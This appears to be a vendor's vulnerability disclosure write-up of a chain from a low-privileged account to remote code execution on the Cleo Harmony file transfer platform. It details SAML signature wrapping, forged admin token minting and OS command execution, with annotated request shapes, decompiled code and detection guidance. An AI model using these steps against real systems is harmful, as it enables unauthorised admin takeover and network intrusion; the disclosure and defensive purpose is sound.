
Armadin obtained remote code execution (RCE) on Cleo Harmony, a popular managed file transfer (MFT) platform, through a chain of vulnerabilities requiring only a low-privileged account. MFT systems are attractive targets: they sit at the network edge and broker sensitive data between organizations, and the 2024 wave of MFT compromises showed that a single flaw can expose hundreds of downstream companies.
The work started with a decompilation-driven source review of the Harmony 5.8.x build. That turned up four independent weaknesses, each minor or unreachable on its own, which chained together as follows:
email-attribute lookup preference. (CVE-2026-84114)Cleo Harmony exposes a Portal at /portal behind SAML single sign-on, a REST API under /api/*, a WebAdmin API under /hapi/v1/*, and the classic MFT protocol listeners (AS2, SFTP, and FTP). The chain below runs entirely through the SAML assertion consumer at POST /portal and the authentication API, and both are key to how the application works.
Cleo’s SAML SP verified the signature over one part of the document but read the attributes it cared about from a different unverified part, which is the textbook precondition for Signature Wrapping. Three defects made wrapping possible:
SamlReqResProcessor marked every element with an ID attribute as a signature-reference target (//*[@ID] + setIdAttributeNode(true)), letting an attacker-supplied element pose as a validly referenced node.SamlSecurity silently swallowed SAMLSignatureProfileValidator.ValidationException, so structural violations that should reject the document did not.response.getAssertions().get(0) regardless of which assertion the verified signature actually covered, so an attacker could make that first assertion the injected one.We took a legitimately signed assertion from a low-privileged valid login and wrapped it inside a document with an outer, unsigned assertion carrying our chosen attributes. The SP validated the inner signature but consumed the outer, attacker-controlled values. The SP also performed no InResponseTo, Audience, Recipient, or SubjectConfirmation checks, so any assertion the IdP had ever signed was replayable and mutable. The value we cared about was email.
The wrapped SAMLResponse on the wire:
POST /portal HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 10387
Cookie: REDACTED
Connection: close
SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c2FtbDJwOlJlc3BvbnNl...(truncated)...REDACTED&RelayState=
POST /portal with the wrapped SAMLResponse.
Decoded and annotated, the structure looks like this:
<samlp:Response>
<ds:Signature>
<ds:Reference URI="#assertion-2"> <!-- signature covers assertion-2 only -->
<ds:DigestValue>Xy3f...REDACTED</ds:DigestValue>
</ds:Reference>
<ds:SignatureValue>MIIC...REDACTED</ds:SignatureValue>
<ds:X509Certificate>MIIF...REDACTED</ds:X509Certificate>
</ds:Signature>
<saml:Assertion ID="assertion-1"> <!-- UNSIGNED, attacker-controlled -->
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="email">
<saml:AttributeValue>Administrator</saml:AttributeValue> <!-- the value Cleo actually reads -->
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<saml:Extensions>
<saml:Assertion ID="assertion-2"> <!-- SIGNED, from an ordinary low-privileged login -->
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<!-- ...original, legitimately-signed assertion, untouched... -->
</saml:Assertion>
</saml:Extensions>
</samlp:Response>
The signature's Reference points at assertion-2. getAssertions().get(0) returns assertion-1 instead.
The <ds:Reference> inside the signature points at assertion-2 by its ID, so that's the only part cryptographically verified. But SamlReqResProcessor marks every ID-bearing element as a valid reference target, and the consumer takes response.getAssertions().get(0): the first <saml:Assertion> in document order. That's assertion-1, unsigned, and ours.
The SP accepts it and returns a session for the spoofed identity:
HTTP/1.1 302 Found
Location: https://REDACTED/portal
Content-Type: text/html
Set-Cookie: cleo.portal.sso_authentication=eyJ0b2tlbl90eXBlIjoi...REDACTED; path=/; HttpOnly; Secure
Date: Mon, 04 May 2026 18:19:34 GMT
Content-Language: en
x-envoy-upstream-service-time: 12220
Server: REDACTED
Connection: close
Content-Length: 0
302 redirect with a session cookie for the spoofed identity.
Cleo’s SAML SP keyed the session off the assertion’s email attribute rather than the signed NameID, pulling it from the attribute statements and using it as the lookup key. Parsing was last-write-wins, so appending a second email attribute after the legitimate one let us select the value that stuck. We authenticated as whichever local user held that email. Identity and NameID never entered into the equation.
On login, Cleo issues a refresh token. The issuer hard-codes a privileged type on every one:
// LocalUser.newRefreshToken() (decompiled, LocalUser.java:605)
public AccessToken newRefreshToken() {
return AccessTokenFactory.getInstance().builder()
.accessType(AccessType.UNI_ADMIN) // hard-coded for every user
.base64Secret(this.getOAuthSecret())
.username(this.getNonAggregateId()) // sub = this user's own id
.validFor(28800L).validForUnit(TimeUnit.SECONDS)
.omniId(this.getUserId())
.create();
}
LocalUser.newRefreshToken() hard-codes AccessType.UNI_ADMIN for every user.
Every LocalUser refresh token is typed UNI_ADMIN, genuinely signed with the listener’s OAuth secret. The danger is entirely in how it’s later consumed. Reaching issuance took one more step: POST /api/authentication short-circuits and just echoes the existing SSO token when a session cookie is present.
We instead hit the sibling POST /api/authentication/refresh endpoint with our SAML token as Authorization: Bearer … and the SSO cookie omitted. That skips the short-circuit and mints a fresh UNI_ADMIN token, with sub set to whatever our wrapped assertion asserted.
This is the second half of CVE-2026-84115. The refresh token is issued against the SecureShare LocalUser store. However, it’s consumed by dispatching on its UNI_ADMIN type, which looks sub up in a different database, the VLNavigator administrator store (Users.xml), with password verification disabled:
// UserUtil.getUserFromAccessToken() (decompiled, UserUtil.java:74)
if (inspector.getType() == AccessType.UNI_ADMIN) {
return Optional.ofNullable(
SecureShareAuthenticator.authenticateVLNavUsers(
inspector.getUsername(), // sub, from the token
null, true)); // no password, preAuthenticated
}
UserUtil.getUserFromAccessToken() dispatches a UNI_ADMIN token to the admin store, no password required.
authenticateVLNavUsers(sub, null, true) matches sub case-insensitively against every admin alias in Users.xml and, with preAuthenticated=true, ignores the password. The two stores share an identifier namespace only by accident. For most values the lookup just misses (401), which is why the vulnerability stays quiet in normal operation. It fires when sub collides with a real administrator name, and we controlled sub end to end: the SAML wrapping set the asserted identity, and the forced token issuance carried it into the token. Asserting Administrator, Cleo’s default admin user, returned the built-in administrator account pre-authenticated with full VERSALEX_ADMIN.
sub was treated as a lookup key in a different, more privileged store than the one that issued it, with authentication disabled.

The trickiest step is 3, since it depends entirely on one header. Here’s that request on the wire, with and without the cookie:
With the cookie present, the endpoint short-circuits and just echoes the existing access token, with no refresh_token in the response:
POST /api/authentication/refresh HTTP/2
Host: REDACTED
Cookie: cleo.portal.sso_authentication=eyJ0b2tlbl90eXBlIjoi...REDACTED
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Length: 0
POST /api/authentication/refresh with both the SSO cookie and the Authorization header.
HTTP/2 200 OK
Content-Language: en
Date: Thu, 07 May 2026 20:17:27 GMT
Content-Length: 368
Cache-Control: no-cache, no-store
Access-Control-Allow-Origin: *
Content-Type: application/json
X-Envoy-Upstream-Service-Time: 236
Server: REDACTED
{
"token_type" : "bearer",
"access_token" : "eyJhbGciOiJIUzI1NiJ9.REDACTED",
"user_id" : "7hiGFCr...REDACTED"
}
No refresh_token in the response, just the existing access token.
Drop the cookie and send only the bearer token, and the issuer falls through to requestAccessToken(...), minting a fresh UNI_ADMIN refresh token:
POST /api/authentication/refresh HTTP/2
Host: REDACTED
Sec-Ch-Ua-Platform: "macOS"
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Length: 0
Same request, only the Authorization header this time, with the SSO cookie omitted.
HTTP/2 200 OK
Content-Language: en
Date: Thu, 07 May 2026 20:17:44 GMT
Content-Length: 630
Cache-Control: no-cache, no-store
Access-Control-Allow-Origin: *
Content-Type: application/json
X-Envoy-Upstream-Service-Time: 83
Server: REDACTED
{
"token_type" : "bearer",
"access_token" : "eyJhbGciOiJIUzI1NiJ9.REDACTED",
"refresh_token" : "eyJhbGciOiJIUzI1NiJ9.REDACTED",
"user_id" : "7hiGFCr..REDACTED"
}
A fresh refresh_token, typed UNI_ADMIN, comes back.
Cleo’s automation engine (“Actions”) supports a “Commands” type whose SYSTEM verb executes an OS command. It’s documented and on by default:

The SYSTEM verb runs a command through the host OS shell, using whatever identity the Cleo service runs as. On the Windows host we tested, LexProcess.parse() is quote-aware, so SYSTEM "cmd /c <command>" forwards faithfully to cmd.exe with full shell semantics, and the resulting process ran as the Windows service account. From an admin session, it’s three calls: create a connection, create a Commands action, and run it.

On that host, the Cleo service account was granted network access into the internal Active Directory environment, which turned our foothold on the Harmony server into a foothold inside the corporate network, reachable starting from nothing more than a low-privileged account.
POST /api/authentication/refresh calls that carry an Authorization: Bearer header but no SSO session cookie are abnormal for a browser client, and that combination is worth alerting on directly.UNI_ADMIN token whose sub matches a built-in admin alias (Administrator, admin), minted moments after a Portal SAML login, is a strong indicator. Correlate the token’s sub and AccessType against the identity that actually authenticated.POST /api/connections, POST /api/actions, and POST /api/actions/{id}/run from sessions that entered through the SSO Portal rather than WebAdmin deserve a look, especially a create immediately followed by a run.Commands action containing a SYSTEM verb as potential code execution and check it against change-management records.cmd.exe or powershell.exe. How often this fires legitimately depends on whether Commands/SYSTEM sees routine, scripted use in your environment, so baseline it first, but an ad hoc shell child process from that service is worth an alert.email diverges from the signed NameID, documents with multiple assertions or multiple email attributes, or missing InResponseTo/Audience. These are hallmarks of wrapping.Commands/SYSTEM usage.Two principles run through the chain: a token’s sub is only meaningful inside the store that issued it, and a system that trusts identity from an unverified source isn’t really authenticating the caller.
Thank you to Elmer Guevara for his work on the “Defensive Considerations” section.
AI-driven threats require a new approach and the right platform to keep your environment secure. Discover the value of a controlled offensive security assessment with Armadin. Request a demo.
Discover more about safe AI Hyperattacks from Armadin here.